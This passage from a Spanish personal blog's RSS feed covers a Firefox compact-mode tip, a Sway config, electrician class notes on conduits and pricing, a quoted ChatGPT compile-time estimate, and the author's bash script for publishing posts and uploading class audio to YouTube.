<li><strong>MySQL</strong></li>
<li><strong>Java</strong></li>
<li><strong>VirtualBox</strong></li>
<li><strong>ZFS</strong></li>
<li><strong>Solaris</strong></li>
</ul>
<p>Cuando Oracle compró Sun, muchos temieron (con razón) que las cosas cambiaran para peor. Y efectivamente…</p>
-
Chatgpt estima el tiempo de compilación de webkit
https://imlauera.github.io/chatgpt_webkit_compilation_time/
Sun, 13 Apr 2025 05:59:03 -0300
https://imlauera.github.io/chatgpt_webkit_compilation_time/
<blockquote>
<p>How much time will gentoo take to compile webkit-gtk-2.46.5 on Intel(R) Celeron(R) N2806 (2) @ 2.00 GHz with a integrated GPU and 4gb of RAM</p>
</blockquote>
<p>Estimating a compile time for a heavy package like <strong>webkit-gtk-2.46.5</strong> on a system with an Intel® Celeron® N2806 (2 cores @ 2.00 GHz), integrated GPU, and 4 GB RAM is challenging because several factors come into play. However, here’s a detailed breakdown of the considerations and a rough estimation based on anecdotal reports and community experiences:</p>
-
Compact mode Firefox
https://imlauera.github.io/compact_mode_firefox/
Fri, 11 Apr 2025 04:48:37 -0300
https://imlauera.github.io/compact_mode_firefox/
<p>Pasos a seguir para habilitar el modo compacto en Firefox 137+</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>about:config
</span></span><span style="display:flex;"><span>browser.compactmode.show cambialo a true
</span></span></code></pre></div><p>Ahora andá al ícono de hamburguesa en tu navegador a la derecha superior. <br>
Seguí estos pasos:</p>
<ol>
<li>More Tools (Más herramientas)</li>
<li>Customize toolbar…</li>
<li>Density</li>
<li>Compact (not supported)</li>
<li>Done</li>
</ol>
-
Electricidad / Clase 11: No usar curva y contracurva juntos porque es difícil pasar cinta pasacables, mejor un cañito en el medio. Meter pinza para sacar rebarba adentro y afuera agarrar el caño. Acanaladora.
https://imlauera.github.io/electricidad11/
Thu, 10 Apr 2025 07:25:44 -0300
https://imlauera.github.io/electricidad11/
<h4 id="audio-vocaroo">Audio Vocaroo:</h4>
<p><a href="https://vocaroo.com/1bzUkEBGqoud">https://vocaroo.com/1bzUkEBGqoud</a></p>
<h4 id="audio-archiveorg">Audio Archive.org:</h4>
<p><a href="https://archive.org/details/record-79">https://archive.org/details/record-79</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/Fd-5siG1NRA">https://www.youtube.com/embed/Fd-5siG1NRA</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEZTvKsUUUXjFUqIF_U6MVKh8ksQnNqfHKpqZ0n5sUB_sWOviFUdjt5jlpVe9RQOsesP41hgOYpkCF0w0li2VTNHIFM-Po_5DKv8KUKpM2R3pL_UeLGLYFQ5CEPQAgMZeAmmlg8hC-6Cg5XikR7d8WSb9dBJPYmC74GMSw7KJUljF1MpLhQygjfvj_Ips/s4160/IMG_20250409_202912088.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXN_Q-ELJJ9NBbxvS6KV60-GOIr8GLknkOG8cvMjB09NOvH3QpxG04mVsLWLXjck6qpHoerOiHaYPDn8DzxjDodnma0KvzeB6jPhq0LhznDf3DXp_dN4WaIWf5Mrudp84oVsOtqcgKI7ZJ6a8d7Z-kw3-jYqGVmK3xe-239nVgDswXdNCyMdhmX5GUgqA/s4160/IMG_20250409_194136790.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4X_FZF3A1nNWMyDMd3ZyTl1rhTvaO_RLUbh_8jPXaDhDLTWytaU48mbI7CS7PPOskr4ciHrTzFhHDL-SIpoX7IKtYDSr2nyuZkEcs3VhgDyRrCmbG7GqI6kIl_YvHpczG5fj7dPfYR9XDAxxAUawPopkxBJAuzyJA9_O_iNs7Po-C26ixeFBheJba2rk/s4160/IMG_20250409_194104985.jpg" alt=""></p>
<h6 id="transcripción-a-partir-de-minuto-13">Transcripción a partir de minuto 13</h6>
<p>Habla de comprar proyector, si tengo suerte me nos van a prestar el proyector.</p>
<p>Como andan? <br>
Espero que hayan recibido ese catálogo porque es muy interesante, es uno de los últimos.</p>
<p>Hoy vamos a hablar sobre eso. Ahora cuando traigamos el proyector será más fácil. Encima es la tecnología que estaban dando ahora la posibilidad de que todos los gabinetes de medidores tengan esa característica por eso es interesante.</p>
-
Sway
https://imlauera.github.io/sway/
Tue, 08 Apr 2025 22:28:35 -0300
https://imlauera.github.io/sway/
<p>Agregar a sway en <code>/etc/sway/config</code> para moverse al último workspace</p>
<p>Una vez dejaron de andar los shortcuts de sway por <code>xdg-desktop-portal</code>, así que si te pasa eso borralo de <code>/etc/sway/config</code> y reiniciá la PC (reinciando sway no funciona).</p>
<h1 id="toggle-workspaces">Toggle workspaces</h1>
<h3 id="para-grabar-la-pantalla-en-obs">Para grabar la pantalla en OBS.</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S xdg-desktop-portal xdg-desktop-portal-wlr
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># PARA OBS</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Set XDG_CURRENT_DESKTOP for proper Wayland support</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># No me sirvió</span>
</span></span><span style="display:flex;"><span>exec --no-startup-id dbus-update-activation-environment --systemd WAYLAND_DISPLAY XDG_CURRENT_DESKTOP<span style="color:#f92672">=</span>sway
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Start xdg-desktop-portal services (ensure wlr starts first)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># No me sirvió</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># exec --no-startup-id /usr/lib/xdg-desktop-portal-wlr &</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># exec --no-startup-id /usr/lib/xdg-desktop-portal -r</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#### Me sirvió</span>
</span></span><span style="display:flex;"><span>exec systemctl --user import-environment WAYLAND_DISPLAY XDG_CURRENT_DISPLAY
</span></span><span style="display:flex;"><span>exec dbus-update-activation-environment --systemd WAYLAND_DISPLAY XDG_CURRENT_DESKTOP<span style="color:#f92672">=</span>sway
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>assign <span style="color:#f92672">[</span>app_id<span style="color:#f92672">=</span><span style="color:#e6db74">"falkon"</span><span style="color:#f92672">]</span> → <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>assign <span style="color:#f92672">[</span>app_id<span style="color:#f92672">=</span><span style="color:#e6db74">"telegram-desktop"</span><span style="color:#f92672">]</span> → <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>assign <span style="color:#f92672">[</span>app_id<span style="color:#f92672">=</span><span style="color:#e6db74">"whatsie"</span><span style="color:#f92672">]</span> → <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>assign <span style="color:#f92672">[</span>app_id<span style="color:#f92672">=</span><span style="color:#e6db74">"smtube"</span><span style="color:#f92672">]</span> → <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>assign <span style="color:#f92672">[</span>app_id<span style="color:#f92672">=</span><span style="color:#e6db74">"thunderbird"</span><span style="color:#f92672">]</span> → <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>exec falkon
</span></span><span style="display:flex;"><span>exec foot
</span></span><span style="display:flex;"><span>exec foot
</span></span><span style="display:flex;"><span>exec telegram-desktop
</span></span><span style="display:flex;"><span>exec smtube
</span></span><span style="display:flex;"><span>exec whatsie
</span></span><span style="display:flex;"><span>exec thunderbird
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bindsym --locked XF86HomePage exec firefox
</span></span><span style="display:flex;"><span>bindsym --locked XF86AudioPlay exec smtube
</span></span><span style="display:flex;"><span>bindsym --locked XF86Mail exec thunderbird
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#### Para cambiar workspaces TAB.</span>
</span></span><span style="display:flex;"><span>bindsym $mod+Tab workspace back_and_forth
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>input * <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> xkb_layout <span style="color:#e6db74">"es"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Y en reemplazá el <code>status_command</code> por la siguiente línea para que muestre información sobre la batería:</p>
-
Electricidad Clase 10 / Continuamos con canalización: cupla, desperdicio de caños, caño corrugado, conductor taller, bandejas de baja alta tensión, medida caños, mezclar hierro con PVC no es recomendable pero hacerlo a través de una caja de paso. Corrugado blanco es ignífugo. Fijar cajas en tirante o planchuelas. Montaje horizontal, vertical. RL/RS nomenclatura hierro. Como cobrar canalización y cableado y el recableado.
https://imlauera.github.io/electricidad10/
Tue, 08 Apr 2025 21:45:57 -0300
https://imlauera.github.io/electricidad10/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1nCsI2HvLFNc">https://vocaroo.com/1nCsI2HvLFNc</a></p>
<h4 id="audio-en-archiveorg">Audio en Archive.org:</h4>
<p><a href="https://archive.org/details/record-76_202504">https://archive.org/details/record-76_202504</a></p>
<h4 id="audio-en-youtube">Audio en Youtube:</h4>
<p><a href="https://www.youtube.com/embed/nPLnCB8nsbw">https://www.youtube.com/embed/nPLnCB8nsbw</a></p>
<h4 id="documentos-enviados-por-whatsapp">Documentos enviados por WhatsApp</h4>
<p><a href="https://archive.org/details/catalogo-tubelectric">https://archive.org/details/catalogo-tubelectric</a></p>
<hr>
<h3 id="resumen-de-la-clase">Resumen de la clase:</h3>
<ul>
<li>Ley de Kirchoff: lo mismo que entra sale.</li>
<li>Conductor taller está permitido.</li>
<li>Las bandejas de baja tensión tiene que estar arriba de la de alta tensión en caso de caída.</li>
<li>Hay que hacer un caño camisa para nueva parte</li>
<li>Como mínimo 3/4 sino 19/16 o 19/17 que son cañerías de hierro.</li>
<li>Caño corrugado blanco no se propaga el fuego.</li>
<li>Corrugado viene en rollo de 100 metros. Rígido 3 metros. Corrugado no se necesita conector ni unión (cupla).</li>
<li>Cupla o unión para cañería de PVC o hierro.</li>
<li>Desperdicio de caños: cortan caños y no usan unión.</li>
<li>RL y RS es nomenclatura de hierro.</li>
<li>Si ustedes van a comprar ustedes van a ElectroMisiones, piden cañería de 3/4, 5/8 7/8 o 1 pulgada. No dicen denme el caño de 19/16 o si es PVC 20 o si es el otro 22. Piden ya la característica que necesitan para hacer las cosas.</li>
<li>Yo tengo que tomar el mayor valor decimos que por norma la tierra es 2,5mm^2 de sección para todo el recorrido es el verde amarillo.</li>
<li>Como usar la tabla para sacar medida de caño: 3 conductores. Entonces esto recorre acá y acá tengo 2,5 la sección de conductores que son 3. Entonces donde me une este con este, me va a dar el caño que yo necesito según la tabla. Pero me da el caño mínimo de ahí para arriba.</li>
<li>El profesor mínimo usa 3/4 por más que el cálculo le de 5/8</li>
<li>El de 5/8 solo se usa en línea recta</li>
<li>El profesor utiliza siempre uno más 3/4 y 7/8.</li>
<li>RL y RS: cañería metálica.</li>
<li>Medidas de caños principales: 3/4, 5/8, 7/8, 1 pulgada. Cuando dicen 3/4 se refiere a 3/4 de 1 pulgada.</li>
<li>Si yo utilizo un caño rígido de 3/4 este caño (corrugado) tendría que ser un poquito más que esto entonces el corrugado en este caso sería de 7/8.</li>
<li>Si van a trabajar con corrugado utilicen un caño de sección mayor.</li>
<li>La curva debe ser mayor de 90 grados para que entre la cinta y pase los cables.</li>
<li>Terminantemente prohibido el anaranjado no se debe utilizar: tóxico, se propaga el incendio y yo piso y esto se desforma.</li>
<li><strong>NO fijar las cañerías sino que tengo que fijar 1ero las cajas. Fijo las cajas 1ero y después hago la distribución si va para arriba para abajo para el costado, siempre en forma ortogonal</strong>. Fijar cajas en tirante o planchuela.</li>
<li>La caja cuadrada se usa para una derivación o conexión. Menos de 15 metros, 12 metros tengo que poner una caja de paso. La caja de paso va a 0,30 del nivel del cielo raso en forma vertical. No puedo tener una boca de más de 15 metros respecto de la otra.</li>
<li>La caja de paso se usa porque el recorrido es muy largo. No es necesario cortar se puede hacer el bucle.</li>
<li>Montante vertical y horizontal</li>
<li>Cuando una montante en recta vertical se debe instalar cajas de paso o de filtro no mayor de 12 metros.</li>
<li>Por cada departamento: 1 medidor. 30 departamentos 30 circuitos, 30 conductores subterráneos por cada circuito.</li>
<li>Todas las cañerías debe empezar y terminar dentro de una caja y el caño no puedo colocar directamente, debe ir a un conector en cajas de salida y entrada.</li>
<li>Las cajas ortogonales son bocas de alimentación</li>
<li>1ero para hacer la canalización fijo las bocas y las fijo a la estructura de el techo, se hace independiente de la estructura del cielo raso.</li>
<li>Las bocas no se deben mover</li>
<li>Todas las bocas arriba van con gancho U.</li>
<li>Como fijo la caja a la estructura del techo.</li>
<li>Planchuelas para fijar cajas hay infinidad de formas de fijar cajas (con alambre)</li>
<li>Se deja la losa un poquito más alto. Picar la losa no rinde</li>
<li>El hormigonero sin querer puede tirar los caños para un lado o para el otro.</li>
<li>Si no nos llevamos bien con la gente de la obra es muy probable que alguna macana nos hagan porque nunca estamos todo el día en la obra.</li>
<li>Después del grueso viene el fino.</li>
<li>Las empresas contratan por boca y por trabajo y no por tiempo determinado, porque sale más barato contratarle así.</li>
<li>Lo malo de vez en cuando es que capaz que él hizo las cañerías y después ya contrató a otro para hacer el cableado y si no tienen el mismo canon la misma formación es probable que este le cueste le cueste el doble porque no le dejó nada se llevó los planos.</li>
<li>Toda cañería empieza y termina en una boca o caja lo que sea.</li>
<li>Lo ideal es que yo empiece y termine con un mismo material en caso de cambiar hacerlo cuando llega a una boca.</li>
<li>Mal: Colocar la curva como capuchón</li>
<li>Dos luces con una llave de punto: Podés cobrar 1 boca y media.</li>
<li>Por cada ventilador: 1 boca</li>
<li>Iluminación: si yo tengo 3 iluminación acá y 3 allá. En una misma caja tengo 2 llaves o 3 de acuerdo a la cantidad de luces que quiero que prendan juntas o 2 y 2.</li>
<li>Cuánto cobrar por el recableado.</li>
<li>La canalización se hace a un 60% del valor de las bocas.</li>
<li>Como cobrar canalización y cableado.</li>
<li>En un valor real por boca ustedes hacen 1ero la canalización y después el cableado entonces cobran el 60% de la cañería del porcentaje de por boca que ustedes hagan, cobran ese precio y después el 40% cuando terminen el cableado.</li>
<li>La pared del aula tiene 3 bocas y media. Por cada toma: 1 boca.</li>
<li>Sobre cobro canalización y cableado por el recableado: no se suma 60% más 40% porque ya la canalización está hecha.</li>
<li>Hay una página que pone cuánto es el precio del <strong>recableado</strong>.</li>
</ul>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi41gsN_bCH3VIMbBW1o_qo9UIXdrE3q08ZR9-Es5tAGETL-y89Ygg3ed7wRZsm5E8Pa_DtM6UPvWIhJke_paR0jkxrXPIf9lm7f8ByVERk3P4G0wypikk1AZZecjfKZCkM98YxHHlXGheJv0bUeiv0zvibKS-loL1DPb-3b-vFmKkb_sTz2A_bhZUW2GI/s4160/IMG_20250408_203345515.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAnUHhSQ1ou9cJOHkG79qiDKiCpI3cUbd2t1-xL78m_O_kGnN4PHwBfi9X_xMor81sUx_W_Us7OWhZTUWZZrkEyNvR8g2eKkfZ46WWS5lCFomosHYFPVoNAZqFcMWcYcDtEnkh0NzWkAawchrMGIRqZdDbuKvg_OPm7fRwQvzxm3GEmI2bpTpmhfd21dE/s4160/IMG_20250408_203339359.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFyS8DanFSoV_H8RRGjMwIgzSfotu7aphHqu7I-sNBIhphXGM7nfmFKNO_d1KGkp37oPT2xqFxGw0XqGjmnJzI5hyphenhyphenN0XCwE7h7GJvLYjyoCxH_9xGYlXRlVl4kXoVGU71x3DCKQF4mdRy5T94_N1VQSAxxCrwIEap6Ogcte-fc-any6hC5pxnP_szkWLc/s4160/IMG_20250408_203336684.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw-iEHjUQhCg112wPo3-1eDAbCjCAGIh17dAKxIOtT0qc4m3TfBEFI0DGmehAr9UI3ktoMlirPRYT72waEwgRJd09JLx4NExnHVQuXeuDtCuHZqa5vDYUnRQHFG2aVdh45jRs_FxM_j2FTsZcwhMXWZ5meyMIBcgDzFmkl5fGmF5xRZmTT4ma6txxffMM/s4160/IMG_20250408_194615631.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-GpAjnTJQlGJMxQV4e05V5LOnlD6_xNwOlBVG2PLLvqRfM1eUyMrLwojdZucfGQGCkXU-FjuvUSQ9HUqx5L2PukCEly2VabSCmYvTNf8qBhf8SnAHgiFV4M24nEDknNud6l-oD1U-veQ08eJn5CZIGBCbwQCZ1bZsnffqS-40mBSdYmPRNQHPzfZutA8/s4160/IMG_20250408_191945247.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxnQqua5OzA7LuNlxzKztlgP_jyKJmApy0VMofJQcRXMYKNqsiNTO5KqhbGP7JoT21r94Vo6j_9VByb5uF8Mr0INXbvXJijxzngTS5Y58RVsr_pobEwuoM96AX7yR1ucEeo8zCLQoH3sW33Og9oYhhnxfXN-H1M_X3Z_d2AvWueWNYRkJWMgQrsPNirHo/s4160/IMG_20250408_185830874.jpg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi91G9kp3-90GKWuVDjt85-P-atKdPxkbxMfsApBV_C2YGoLFsdhJSMO3bgSjYjStwwRgi-ufnq_dwTo7f1f3WsfF7rma6i2aImlTgXKh27UyogrFEBlWuyjP2PKFM60fQgEnwc6mBquvhx7ey0yuOG9nA6xMa7rxy1DYbtKL3pc5KlZb1ZcyA_0g9ct6k/s1280/WhatsApp%20Image%202025-04-08%20at%206.03.42%20PM.jpeg" alt=""> <br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiICeKcdJrrHhJv4kW-nrejoJJ0j1h55Tq0ly1aZkOphCJPw7s1PST8r_f-XXVAg4Vkv22uHSahm-kdkyHbTYLpEnhC9bT0vapQ-mQq5PP71G9cQ_JeHjZP038c1yi_22WQuOQHs57jzofsogcsZfSF7M3zANqBwNyQW_1wW3uFvCp-GugCzItRUK4uecc/s1599/WhatsApp%20Image%202025-04-01%20at%203.12.23%20PM.jpeg" alt=""></p>
-
Electricidad / Clase 9: Canalización. Transición al PVC y Cambios en la Práctica Técnica. Red de distribución externa. Tipos de empalmes. Dentro del mismo caño: 3 circuitos. Sistema trifásico tengo que hacer cañería independiente. Fusible NH. Cable desnudo es de aluminio porque si fuera de cobre robarían. Conductor preensamblado se utiliza principalmente para líneas aéreas. Acometida medidor línea aérea, eso nos pide hoy la gente de la cooperativa en este caso también EMSA que ese conductor sea preensamblado. Preensamblado: 45 amper, conductor bipolar no llega a 30 amper. Antihurto = concéntrico. Marca ABB no. Anécdota de su alumno que trabajó para un arquitecto que le pagó la mitad de lo que habían acordado por las bocas. Caños memoria. Anécdota: Hicieron cielo raso de PVC suspendido sin hacer la instalación eléctrica. Los cables canal también son cañerías. El conductor subterráneo es el conductor que tiene un revestimiento mucho más grueso. Debido al costo que tiene, hoy la gente las cooperativas o EMSA está permitiendo meter conductor tipo taller y son unos prolongadores son y tienen la aislación muy fina entonces no es lo ideal, el conductor subterráneo si es en general para las bandejas.
https://imlauera.github.io/electricidad9/
Tue, 08 Apr 2025 12:02:48 -0300
https://imlauera.github.io/electricidad9/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1mOXmDVVcNcE">https://vocaroo.com/1mOXmDVVcNcE</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-74">https://archive.org/details/record-74</a></p>
<h4 id="audio-en-youtube">Audio en Youtube:</h4>
<p><a href="https://www.youtube.com/embed/Cc_CGLRU5xQ">https://www.youtube.com/embed/Cc_CGLRU5xQ</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_VZJiQqWK2J6F3p2QyYpWQ2CLx2UP7vdBm-bxtJnXOVWxPklRwTUxVk-WXw3pQHrWDtP2ySa-wJ0kKEUqNceSmJthBT6oNobCnhz2TZteFtEptTdUrCsdF_HigKH3IMK2NDqDeq7uEgl1u9KD0RI6_C6yGaJaTUpeVft6u9GxDwGn-xatW8KxdJdfbqU/s4160/IMG_20250407_192928527.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBq_zoR0jNheBUVTFbwAJm863H-mDszdyr5Hu3c0y-cxP7BI9OJKoZiDG5pdglYx1hLTUm8Foo2nQnhE-JGCfKA3M9JAeW98Zp6HIxbQBEEKQmdrNLjeaZNlYM5pxnSfh454TdfUVFAqnfsaL8-HJIimgAZLFssp_RqoyGKV9GaZRbrUkF-sHc2THrzEA/s4160/IMG_20250407_193426081_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi3EZyNE4lKdifG385eBB3a6JmElpCA7Jota1fw2l7Q9np78U4c0epn8ff0X7Gddnscgs5ndRCh_IzCOFg9BIG6DaregiIU2219L2_MG59GI__kqzub0YlL80IfFQZ3izfnSCYQMEESTyqzcKcIAXjtPSrYSmzq3tsR__M6BGP3fIOLqdZd_jWuYS4BCs/s4160/IMG_20250407_194450899.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4Vs2Vc4YlXzdNT3gD6nI1c-cZdezS6inQrNE3wwt7a4N3bXDiOiV6FGPt1_esm347jIBdegk83iv0SNgSRBi8vxF6LyaM0g6DZC5ALnZHNpjcY8AQXkQ-XZAyDXE4XSp0mg5yXa2eMXnprflEckAPRRvnaBYR-zE5-ZlxyGaQdkh6bLKPeCkbzim6fqU/s4160/IMG_20250407_194515544.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9R-I0n9bQkwunv2o3F2fslFVM95uNdmybrw3yGjsV7RZXDd6jW784Gfbn-vH0s8mlZ4SiWH6g1be1BYJjTRSsDwU3FYsFwtNOm87_ooX_SlxKQPYcE_bx_KtMrZmEvcVdKlpdlucLlT5b-i-FOeV9AS2RrE1vlHFRXGzk8TVABR4SDUJowiJ1870O8gU/s4160/IMG_20250407_194534257.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrVYH5fzw4nk2s6GvNovCgI0hVXHmfAA5fx37FRZYgdtMnAk8t_UbI84y69knhnlm5yHNlWpVxNr2gW5lWw9i8PPbS_VxKUTQAZNYw2H3VB5PzggdHanMBwrhcgzv26zRzSnPAFLjTRKVsYacIYhrvWVbb3w4JzhZbYdcPafdyGVvAhJIYkK9a3PORPjo/s4160/IMG_20250407_194551098.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWqQYL0COKB_yEHP21yC45mjleipHDw9h4GQOuAVKsmWkwkTEnDn5GjPdfrN4UONjJy1lQzDnXM9Auu0jKxXzTgkfbCGPWNOIGPv_pB8xMey-p38KL8AcDZRsGsI1Y4TDL3ImR9VLOMshw5ptmwnznghP86bqW1ri73LZoAlO_-0QsMIDMbYCIltqJFqU/s4160/IMG_20250407_194610610.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9fDiLXORH5x_AkO0X1QsZ69I0VoB3J5iqtXpPjNICbmk_h7XUJ8gY_Goji2GF4mm8hUaoUZKAZwMRxUJzQp6jJ9HpdQr35M_g9x1lDkoN1rZXRNmQ9PTkU_owekWpW4p9EEbifXb4H89DWs95fmqPzleWliv2mny3544zKT7s2TuQj8db0ldTfsUhyphenhyphen1s/s4160/IMG_20250407_194704305.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqfNK9U5UZ_cTk-vsSxBk5x3M33ftyCLGhcNlLwkFDblKT4nM9xgmqgGujQyILnwPd_pkacIFz9dAXl3ueKm5OKhVC6mZ_KjiY55w8jrzj6WnoZCDYqnKJWRO4QakTVlqmEDJ8h7_NwhSVj43k6twm1kgjd3m7d06Bl7PZxV4HJMqi6KqZdSPh9UyyoR0/s4160/IMG_20250407_200422366.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuX3V6p0PZoBw2EZr88TSO1ZE3omi84FbCeJHWRx17V_0xT0mdfK1rpjuiIgmenrH2l62SgPgDOaGwZ7_tPUP4KJi5DKAxrZ14WqsyR6wg-0BVgALrpvZ4uRQGL7cy7NL2esTw7eiYZhH2ELq1ChhySQ32Pkycz83jRnaKYiBOI1Bl27eNZ0V2YiTVSeo/s4160/IMG_20250407_201513659.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOolO4sBiUi6fZtCHFjZPWJlJVSQzVe6TPFako-WHwxslgciOr9I5oKOG7VKP-DAbE38tVSMD1X-6amwZ5tAQLBJcvohKyXqBz5_4rCHqElZ6Pu457dmxVhCwZ03lW1hzSL0WtTqlH6ZI11T9qORf4sbu_mUBgs0PhjlalfTvarQrnR0yxCpjFeeflnns/s4160/IMG_20250407_203835049.jpg" alt=""></p>
<hr>
<h5 id="transcripcion-desde-el-minuto-15-profesor-llegó-tarde">Transcripcion desde el minuto 15 (profesor llegó tarde):</h5>
<p>Antes de que me olvide dije… Esto son los nuevos puestos de emisión que diferencia tienen con los anteriores esto empezó a partir de ahora de los primeros días de abril que se va a poder utilizar PVC, entonces por ahora se van a poder usar los dos hay gente que tiene materiales ya en stock entonces esos que utlizaban toda la parte de hierro van a seguir usando, chapa y todo lo nuevo yo le voy a dar para que imprimamos esto por lo menos para que tengan después le voy a dar trifásica.</p>
-
Crear blog post
https://imlauera.github.io/crear_blog_post/
Sun, 06 Apr 2025 12:21:09 -0300
https://imlauera.github.io/crear_blog_post/
<pre tabindex="0"><code>sudo systemctl start smb
# https://imlauera.github.io/publicar_audio_como_video/
# thumbnailg "titulo" titulo.png
# ffmpeg -i image.jpg -i audio.mp3 -c:v libx264 -tune stillimage -c:a copy out.mp4
# youtube-upload
### Agregar para detectar tmux
falkon blogger.com
echo "Ingresa la URL del articulo que creaste"
read
blog
read URL
echo "Ingresa el titulo del articulo que creaste sin espacios (electricidad4)"
read titulo
echo "Ingresa el tag del articulo"
read tag
echo "Ingresa la descripción del articulo que creaste"
read descripcion
cd $HOME/projects/blog;
hugo new "$titulo.md"
sed -i 's/draft: true/tags: ['$tag']/g' "$HOME/projects/blog/content/$titulo.md"
echo "$descripcion" >> "$HOME/projects/blog/content/$titulo.md"
#chromium --headless=new "$URL" --disable-gpu --run-all-compositor-stages-before-draw --dump-dom --virtual-time-budget=10000 | grep -oP 'img[^>]*src="\K[^"]+' > "/tmp/$titulo_images.md"
chromium --headless "$URL" --disable-gpu --run-all-compositor-stages-before-draw --dump-dom --virtual-time-budget=10000 --window-size=800,600 | grep -oP 'img[^>]*src="\K[^"]+' > "/tmp/$titulo.md"
sed -i 's/^//' /tmp/$titulo.md
# chromium --headless=new "$URL" --disable-gpu --run-all-compositor-stages-before-draw --dump-dom --virtual-time-budget=10000 | grep -oP 'img[^>]*src="\K[^"]+' >> "$HOME/projects/blog/content/$titulo.md"
# cat /tmp/$titulo_images.md >> "$HOME/projects/blog/content/$titulo.md"
tail -n +3 /tmp/$titulo.md >> "$HOME/projects/blog/content/$titulo.md"
#### Imágenes de alta calidad
sed -i 's/s320/s4160/g' "$HOME/projects/blog/content/$titulo.md"
echo "Generamos thumbnail para youtube"
echo "Ingresa pequeña descripción con saltos de linea para el thumbnail de youtube (sino sale de la imagen)"
read -z short_description
thumbnailg $short_description /tmp/$titulo.png
echo "Ingresa ubicación completa de archivo de audio m4a de la clase"
read archivo_audio_path
echo "Creando un video a partir del audio..."
ffmpeg -i /tmp/$titulo.png -i $archivo_audio_path -c:v libx264 -tune stillimage -c:a copy /tmp/$titulo.mp4
youtube-upload \
--title="$titulo" \
--description="$descripcion" \
#--category="Science" \
--tags="$tags" \
--recording-date="2011-03-10T15:32:17.0Z" \
--default-language="es" \
--default-audio-language="es" \
#--client-secrets="my_client_secrets.json" \
#--credentials-file="my_credentials.json" \
#--playlist="My favorite music" \
--privacy="unlisted" \
--embeddable=True \
/tmp/$titulo.mp4
rm /tmp/$titulo.png
rm /tmp/$titulo.mp4
</code></pre><h4 id="si-solo-queres-crear-el-video-de-youtube">Si solo queres crear el video de youtube</h4>
